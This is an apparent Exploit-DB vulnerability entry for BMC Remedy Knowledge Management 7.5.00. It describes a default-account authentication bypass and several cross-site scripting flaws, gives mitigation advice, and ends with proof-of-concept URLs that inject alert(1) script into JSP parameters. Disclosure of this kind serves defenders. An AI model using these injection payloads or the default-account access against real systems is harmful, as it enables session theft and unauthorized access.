BMC Remedy Knowledge Management Default Account and XSS Vulnerabilities

vendor:

Remedy Knowledge Management

by:

Unknown

7.5

CVSS

HIGH

Default Account, Cross-Site Scripting (XSS)

798, 79

CWE

Product Name: Remedy Knowledge Management

Affected Version From: Remedy Knowledge Management 7.5.00

Affected Version To: Unknown

Patch Exists: No

Related CWE:

CPE: a:bmc:remedy_knowledge_management:7.5.00

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

BMC Remedy Knowledge Management Default Account and XSS Vulnerabilities

The default-account vulnerability allows attackers to bypass authentication and gain unauthorized access. The cross-site scripting vulnerabilities enable attackers to execute arbitrary script code in the browser of unsuspecting users, potentially leading to theft of authentication credentials and other attacks.

Mitigation:

Apply the latest security patches provided by BMC. Limit access to the affected application to trusted networks or users. Regularly monitor and review logs for any suspicious activity.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/47728/info

BMC Remedy Knowledge Management is prone to a default-account vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attackers can leverage the default account issue to bypass authentication and gain access without permission. Successful exploits can aid in further attacks.

An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Remedy Knowledge Management 7.5.00 is vulnerable; other versions may also be affected. 

https://www.example.com/rkm/external.jsp?doc=&#039;%3balert(1)//&user=Self+Help
https://www.example.com/rkm/search.jsp?user=Self+Help&startDate=\&#039;%3balert(1)//
https://www.example.com/rkm/usersettings.jsp?"><script>alert(1)</script>
https://www.example.com/rkm/viewdoc.jsp?doc=><script>alert(1)</script>&user=Self%20Help
https://www.example.com/rkm/AttachmentServlet?="><script>alert(1)</script>
https://www.example.com/rkm/index.jsp?user=Self%20Help